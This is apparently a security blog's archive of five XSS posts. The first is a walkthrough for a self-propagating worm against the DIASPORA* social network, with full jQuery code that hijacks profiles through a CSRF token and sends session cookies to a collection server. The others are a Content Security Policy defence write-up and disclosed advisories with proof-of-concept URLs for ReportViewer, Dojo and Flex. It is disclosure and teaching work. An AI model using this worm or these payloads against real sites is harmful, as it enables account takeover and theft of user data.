Twitter

Entries in XSS (5)

Wednesday
May082013

Writing an XSS Worm

User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user’s profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

<script>
    window.current_user_attributes = {
        “id”: 3,
        “guid”: “5a2d8a950e39165e”,
        “name”: “Kevin Chung”,
        “diaspora_id”: “superduper@localhost:3000”,
        “avatar”: {

Normal Profile Data

In searches and the user’s public profile page, their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.  

DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to </script><script> and our last name to alert(0)</script> which would achieve the a mostly boring, standard XSS testing payload.  You’ll notice that the first name starts with a </script> which closes out the original start tag and then begins its own script tag.

<script>
//<![CDATA[
Mentions.options.prefillMention = Mentions._contactToMention({
    “id”: 3,
    “guid”: “927643f9c89784b1”,
    “name”: “</script><script> alert(0)</script>”,
    “avatar”: “/assets/user/default.png”,
    “handle”: “jedi_guy@localhost:3000”,
    “url”: “/people/927643f9c89784b1”
});
//]]>
</script>

Profile with XSS


Instead of just alerts, we can give ourselves a much larger space to work with by using </script><script src= as our first name and //goo.gl/AAAAA</script> as our last name. The goo.gl URL should point to a JavaScript file of our choosing.  Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$(‘html’).hide();

if(window.location.pathname == ‘/profile/edit’){
    window.location=”/404”;
}

else if(window.location.pathname.substr(1,2) == ‘u/’ || window.location.pathname.substr(1,6) == ‘people’){
    var first = $(‘.find’).prev().html();
    var second = $(‘.find’).next().html();
    eval(first +”You’re Owned”+ second);
}

else{
    var intervalID = setInterval(function(){
            var first = $(‘.find’).prev().html();
            var second = $(‘.find’).next().html();
            eval(first +”You’re Owned”+ second);
        },5);
}

$(document).ready(function(){
    window.clearInterval(intervalID);
    $(‘.message’).hide();
    $(‘html’).show();
    $(document.createElement(‘img’)).attr({‘src’ : ‘http://localhost/diaspora.php?cookie=’+document.cookie});
});


deploy(‘//goo.gl/AT64G’);

function deploy(payload){
    $.get(‘/profile/edit’, function(data) {
        var first_name = $(‘#profile_first_name’,data).val();
        var last_name = $(‘#profile_last_name’,data).val();
        if (first_name == ‘</script><script class=”find” src=’)
            return;

          var utf = $(‘input[name=”utf8”]’, data).text();
          var authenticity_token = $(data).filter(‘meta[name=”csrf-token”]’).attr(“content”);
          var bio = $(‘#profile_bio’,data).html();
          var loc = $(‘#profile_location’,data).val();
          var gen = $(‘#profile_gender’,data).val();
          var year = $(‘#profile_date_year’, data).find(“:selected”).text();

          if (year == ‘Year’)
              year = ”;

          var month = $(‘#profile_date_month’, data).find(“:selected”).text();
          if (month == ‘Month’)
              month = ”;

          var day = $(‘#profile_date_day’, data).find(“:selected”).text();
          if (day == ‘Day’)
              day = ”;

          var tags = data.search(‘var data’) + 25;
          var tags_end = data.search(‘autocompleteInput’) - 15;
          tags_end = jQuery.parseJSON(data.slice(tags, tags_end));
          tags = ‘,’;
          for( key in tags_end){
              tags += tags_end[key].value + ‘,’;
          }
          $.post(“/profile”,
              {
                  ‘utf8’: “&#x2713;”,
                  ‘_method’: ‘put’,
                  ‘authenticity_token’: authenticity_token,
                  ‘profile[first_name]’: “</script><script class=”find” src=”,
                  ‘profile[last_name]’: payload+”></script><script>”,
                  ‘profile[tag_string]’: ”,
                  ‘tags’: tags,
                  ‘file’: ”,
                  ‘profile[bio]’: bio,
                  ‘profile[location]’: loc,
                  ‘profile[gender]’: gen,
                  ‘profile[date][year]’: year,
                  ‘profile[date][month]’: month,
                  ‘profile[date][day]’: day,
                  ‘profile[searchable]’: ‘true’,
                  ‘commit’: ‘Update Profile’
              }
          );
    });
}

Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HTTPOnly flag for their session cookie.  If HTTPOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken. 

Additionally, HTTPOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all, as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.  
While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.

This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.

Tuesday
Feb052013

Using Content Security Policy to Prevent Cross-Site Scripting (XSS)

Note: This post has been crossposted from the SendSafely blog. You can find the original post at http://blog.sendsafely.com/post/42277333593/using-content-security-policy-to-prevent-cross-site.  

On SendSafely we make heavy use of many new JavaScript APIs introduced with HTML5. We encrypt files, calculate checksums and upload data using pure JavaScript.  Moving logic like this down to the browser, however, makes the threat of Cross-Site Scripting (XSS) even greater than before. In order to prevent XSS vulnerabilities, our site makes liberal use of pretty aggressive client-side and server-side encoding APIs.  These APIs are based on the OWASP ESAPI library, so we have context-specific encoding methods for pretty much every scenario. Even so, we recognize that it is very difficult to rule out all possible ways to inject code, including human error on our part. For this reason we chose to also implement Content Security Policy (CSP) for SendSafely.

CSP is a new security mechanism supported by modern browsers. It aims to prevent XSS by white-listing URLs the browser can load and execute JavaScript from. The server can, by specifying specific CSP directives, prevent the browser from executing things like in-line JavaScript, eval()setTimeout() or any JavaScript that comes from an untrusted URL. The policy works as a white list, only domains listed are allowed to execute, everything else will be blocked.

The Content Security Policy in SendSafely
In SendSafely, our Javascript files are all loaded from a dedicated host that doesn’t run any dynamic content (static.sendsafely.com). The exceptions to this are for certain third-party JavaScript APIs that we load from an external domain, specifically Google Analytics and reCAPTCHA.  Text-to-JavaScript functions like eval() and setTimeout() are blocked across the board, even if the script is loaded from one of our white-listed hosts, as is any in-line JavaScript

Use of a strict CSP makes it significantly harder to inject executable JavaScript into application pages since the code must come from a trusted server.  The typical XSS attack using un-encoded output on one of our pages won’t work when the CSP is enforced.  In fact, any JavaScript embedded on our content pages (even JavaScript we put there) gets blocked by the policy.  Pretty cool stuff.  

So you may be asking yourself, does this mean XSS is nothing but a memory? Sadly, this is not the case.  For starters, CSP is still fairly new and only supported by recent versions of Firefox, Safari and Chrome. Internet Explorer 10 (IE10) supports a subset of CSP options, but the ability to white list domains is unfortunately not one of them.  Aside from limited browser support, data dynamically loaded into the page from JavaScript is still potentially vulnerable. A strict Content Security Policy should therefore not be considered the end-all solution to XSS . Think of CSP more like a safety belt, which is nice to have when your car crashes.

Dissecting our Policy
Now let’s take a look at the CSP policy we use on www.sendsafely.com and dissect it a bit.  One of the first things to note is that if you are going to implement CSP, you must realize that there are some browser compatibility nuances to deal with.   The main thing to note is that Safari uses ‘X-WebKit-CSP’ as the header name for implementing CSP, while other browsers have standardized on ‘X-Content-Security-Policy’.  Another glitch that affects Safari is that a severe bug in the CSP implementation on Version 5.1 essentially blocks authorized content when a valid CSP is specified.  As a result, you’ll want to specifically detect when Safari is used and send either the ‘X-WebKit-CSP’ header or no header at all (if Version 5.1 is used).

To keep our policy as strict as possible, we use two different policies depending on what the page needs to do.  The stricter policy is used for all pages except the ones that handle encryption and decryption (the reason for this will be discussed in a separate follow up post).  For simplicity, the more strict policy will be explained here.

X-Content-Security-Policy: default-src ‘none’; connect-src ‘self’; script-src https://static.sendsafely.com https://www.google.com https://ssl.google-analytics.com; style-src ‘self’ ‘unsafe-inline’ http: https:; img-src ‘self’ https://www.google.com https://ssl.google-analytics.com; report-uri /csp-reports;

The header is divided into different sections that are each separated by a semi-colon. The “default-src” directive defines the security policy for all types of content which are not expressly called out by more specific directives.  We opted to set the default-src value to ‘none’, meaning that by default we allow nothing to load.  If we stopped defining directives here, the site would be completely broken, so now we need to open up the policy and allow specifically what we need to load.  

Now that we’ve explicitly denied everything by default, we need to add back the specific content policy options our site needs.  On SendSafely, we have a hand full of resource categories that we need to add policy settings for.  Each of these are outlined below, along with the CSP directives for each:

  • Ajax Requests - Several pages within our site use the browser’s XMLHttpRequest (XHR) object to make HTTP requests from within our JavaScript code.  In order for us to make these requests we set the “connect-src” attribute to “self”, so scripts on our site can make XHR requests back the server but nowhere else. This attribute is another place where we run into compatibility issues across different browsers.  Specifically, FireFox decided to name this directive “xhr-src” instead of “connect-src”.  To account for this, our CSP code does some basic browser detection and if we detect that FireFox is being used, we change the directive name accordingly.  

  • JavaScript - As mentioned previously, we load all of our internal static JavaScript from a dedicated host (static.sendsafely.com). Additionally, we’ve chosen to load the Google Analytics and ReCaptcha JavaScript files from their origin domains on google.com.  Unfortunately the ability to allow just a sub-path of a host (like /scripts/) is not supported. Since ReCaptcha script files get loaded directly off of the main www.google.com site, our “script-src” directive includes https://static.sendsafely.com, https://www.google.com and https://ssl.google-analytics.com

    Having such a large site like www.google.com in our CSP whitelist is understandably something we are not thrilled about.  The ability to allow sub-paths of a host is slated to be introduced in CSP 1.1, but until then we’ll have to live with it.  The good news is that Google takes security very seriously, and they take great care to avoid script injection bugs on their website.
  • CSS - Our site design makes heavy use of in-line CSS for styling various UI attributes.  As such, the style-src directive includes a value of “self” (that allows us to load CSS files from the same host) and a value of “unsafe-inline”, meaning that we can use in-line CSS from within our HTML pages.  We recognize that by allowing in-line CSS within our pages, there is a minimal increased security risk since someone could potentially be mischievous if they found a way to inject markup into one of our pages.  Given the cost/benefit of refactoring the UI to completely avoid any in-line CSS, however, we decided this is a tolerable risk that we can live with for now.  

  • Images - Our img-src directive specifies both “self” and the two previously mentioned google hosts (https://www.google.com and https://ssl.google-analytics.com)  as the authorized origin hosts for all image content  For the most part, our site only loads images from the same host.  The exception to this is reCaptcha, however, since reCaptcha loads various images from www.google.com domain.  

  • The final part of our CSP header is the ‘report-uri’ directive.  This directive tells the browser to send us a report of pages that violate the Content Security Policy. The  violation reports consist of JSON documents sent via an HTTP POST request to the specified URI.  Using this option, we can monitor for events that trigger CSP exceptions and quickly take action if we think there may be a problem with our site.  The reports are also great to use during testing and development in order to debug CSP issues you might encounter.

Final Notes
A few final notes: CSP is a great tool to add an additional layer of protection against Cross-Site Scripting. If you’re building a new application, CSP should be considered as a solid defense in depth security control in the never-ending battle against cross-site scripting. Writing client-side code which is designed to use CSP will save precious developer cycles in the future, if code must be migrated to work with CSP.

Implementing CSP on our site proved to be a very interesting exercise.  We’ll provide more details on some other aspects of our Content Security Policy implementation in a follow up post here on our blog. 

Friday
Aug192011

XSS in Microsoft ReportViewer

Lost amongst the numerous issues patched during this month's Patch Tuesday was a bug I found in Microsoft's ReportViewer 2005 Web Controls. While the issue was really just a vanilla XSS, the surprising thing was that it was in a product that has been out for 6 years and hasn't been found or patched in that time.  You mean to tell me nobody's ever fuzzed that request!?  We're not talking about a complex memory corruption bug here!  Anyway, the technical details and a walkthrough of the bug can be found below.

Overview
The Microsoft ReportViewer Controls are a freely redistributable control that enables embedding reports in applications developed using the .NET Framework.  A Cross-Site Scripting (XSS) vulnerability was found in the Microsoft.ReportViewer.WebForms.dll library.  The XSS vulnerability appears to affect all websites that utilize the affected controls.

Technical Details
File: Microsoft.ReportViewer.WebForms.dll (PerformOperation() method of the SessionKeepAliveOperation class)

1) User controllable data enters via the "TimerMethod" URL parameter value and is assigned to the "andEnsureParam" string variable.

string andEnsureParam = HandlerOperation.GetAndEnsureParam
  (urlQuery, "TimerMethod");

2) The "andEnsureParam" variable with user-controllable input is then passed into the "s" string variable which is dynamically building a javascript block.  The "s" variable is then passed to response.write(). Writing the un-validated data to the JS block creates the XSS exposure.

string s = string.Format(CultureInfo.InvariantCulture, "<html>
<body><script type=\"text/javascript\">parent.{0}();</script>
</body></html>", new object[]
 { andEnsureParam }); response.Write(s);

Proof-of-Concept Exploit
This vulnerability can be exploited against websites that have deployed the vulnerable Microsoft.ReportViewer.WebForms.dll library.  You will note that since the data is being written into an existing Javascript block that the attacker does not need to include any opening or closing tags (i.e.,<img>, <script>, etc) to execute code.

Reproduction Request:

https://test.com/Reserved.ReportViewerWebControl.axd?Mode=true&
ReportID=<arbitraryIDvalue>&ControlID=<validControlID>&
Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive
&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_
SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);
//&CacheSeed=

(Note: During testing of this issue, it appeared as though a valid ControlID parameter value was needed to exploit this issue)

Recommendation
Update to the latest versions.  For more information please see http://www.microsoft.com/technet/security/Bulletin/MS11-067.mspx

Friday
Mar122010

Multiple DOM-Based XSS in Dojo Toolkit SDK

We released an advisory today to Bugtraq regarding a DOM-Based XSS bug I found in the Dojo Toolkit SDK 1.4.1 and earlier versions. The Dojo team was informed on February 19, 2010 and released the fix today along with some other security bugs. If you want some more information on this bug as well as the other bugs that were fixed, see their security bulletin.

The files identified with the XSS issues are primarily designed for testing; however a quick Google search will identify numerous sites that have deployed these files along with the core framework components. Unfortunately, this is evidence of a much larger issue. All too often, test code gets deployed to production and ultimately leads to a security exposure. This is clearly a recipe for disaster!!! Folks, please clean up your web root. You clean up your house when relatives come by, right? You wouldn't want them tripping over your GI Joe's and breaking their leg! It's the same thing, more or less : )

Overview

The Dojo Toolkit is an open source modular JavaScript library/toolkit designed to ease the rapid development of cross platform, JavaScript/Ajax based applications and web sites. Multiple instances of DOM-based Cross Site Scripting (XSS) vulnerabilities were found in the _testCommon.js and runner.html files within the SDK. The XSS vulnerabilities appear to affect all websites that deploy any of the affected SDK files.

More information on DOM-based XSS can be found at OWASP's site.

Technical Details

File: dojo-release-1.4.1-src\dojo-release-1.4.1-src\dijit\tests\_testCommon.js
1) Data enters via "theme" URL parameter through the window.location.href property.
Line 25:
var str = window.location.href.substr(window.location.href.indexOf("?")+1).split(/#/);
..snip..
2) The "theme" variable with user-controllable input is then passed into "themeCss" and "themeCssRtl" which is then passed to document.write().

Writing the un-validated data to HTML creates the XSS exposure.
Line 54:
..snip..
var themeCss = d.moduleUrl("dijit.themes",theme+"/"+theme+".css");
var themeCssRtl = d.moduleUrl("dijit.themes",theme+"/"+theme+"_rtl.css");
document.write('<link rel="stylesheet" type="text/css" href="'+themeCss+'">');
document.write('<link rel="stylesheet" type="text/css" href="'+themeCssRtl+'">');


==================================================

File: dojo-release-1.4.1-src\dojo-release-1.4.1-src\util\doh\runner.html
1) Data enters via "dojoUrl" or "testUrl" URL parameters through the window.location.search property.
Line 40:
var qstr = window.location.search.substr(1);
..snip..

2) The "dojoUrl" and "testUrl" variables with user-controllable input are passed to document.write(). Writing the un-validated data to HTML creates the XSS exposure.
Line 64:
document.write("<scr"+"ipt type='text/javascript' djConfig='isDebug: true' src='"+dojoUrl+"'></scr"+"ipt>");
..snip..
document.write("<scr"+"ipt type='text/javascript' src='"+testUrl+".js'></scr"+"ipt>");

Proof-of-Concept Exploit

This vulnerability can be exploited against websites that have deployed any of the 145 SDK files which reference _testCommon.js.

Reproduction Request:
http://WebApp/dijit/tests/form/test_Button.html?theme="/><script>alert(/xss/)</script>

(Note: test_Button.html is one of the SDK files that includes the _testCommon.js file)

==================================================

This vulnerability can be exploited against any website that has deployed the runner.html file.

Reproduction Request:
http://WebApp/util/doh/runner.html?dojoUrl='/>foo</script><'"<script>alert(/xss/)</script>

Recommendation

Update to Dojo Toolkit SDK 1.4.2

Thursday
Aug202009

Adobe Flex 3.3 SDK DOM-Based XSS

I just released an advisory to Bugtraq regarding a DOM-Based XSS bug in the Adobe Flex 3.3 SDK and earlier versions. I notified the vendor back on June 29, 2009 and they released the fix on August 19th. If you would like more information, you can view their security bulletin and their TechNotes.

Overview

Adobe Flex is a software development kit released by Adobe Systems for the development and deployment of cross-platform rich Internet applications based on the Adobe Flash platform. An instance of a DOM-based Cross Site Scripting (XSS) vulnerability was found in the default index.template.html file of the SDK which is a template used by FlexBuilder to generate the wrapper html for all application files in your project. The XSS vulnerability appears to affect all user's that download and utilize this html wrapper. For more information on DOM-based XSS visit OWASP's site.

Technical Details

File: index.template.html

1) Data enters via URL parameters through the window.location javascript object, is then stored into MMredirectURL variable, and passed to the AC_FL_RunContent() function.

Line 59:
..snip..
var MMredirectURL = window.location;
..snip..

Line 63:
AC_FL_RunContent(
..snip..
"FlashVars", "MMredirectURL=" MMredirectURL '&MMplayerType=' MMPlayerType '&MMdoctitle=' MMdoctitle "",
..snip..


2) The MMredirectURL variable with user-controllable input is passed to AC_GetArgs and ultimately to AC_Generateobj, which performs a document.write. Writing the un-validated data to HTML creates the XSS exposure.

File: AC_OETags.js

Line 200:
function AC_FL_RunContent(){
var ret =
AC_GetArgs
( arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
, "application/x-shockwave-flash"
);
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}


Line 178:
function AC_Generateobj(objAttrs, params, embedAttrs)
{
var str = '';
if (isIE && isWin && !isOpera)
{
str = '<object ';
for (var i in objAttrs)
str = i '="' objAttrs[i] '" ';
str = '>';
for (var i in params)
str = '<param name="' i '" value="' params[i] '" /> ';
str = '</object>';
} else {
str = '<embed ';
for (var i in embedAttrs)
str = i '="' embedAttrs[i] '" ';
str = '> </embed>';
}
document.write(str);
}


NOTE: For the exploit to work, the end user must have installed an older version of Adobe Flash than the value that is set in the Globals variable "requiredMajorVersion" (Line 36).

Proof-of-Concept Exploit

This vulnerability can be exploited against any Flex based application that uses the index.template.html wrapper page containing the code above. In order to exploit this issue, the end user must have Adobe Flash installed, but it must be an older version than the required one set by the application owner (set in Globals variable "requiredMajorVersion").

Reproduction Request:

http://FlexApp/Flex/index.template.html?"/></object><XSS attack string goes here>

Recommendation

Update to Flex 3.4 SDK or view Adobe's TechNotes on how to manually fix the issue.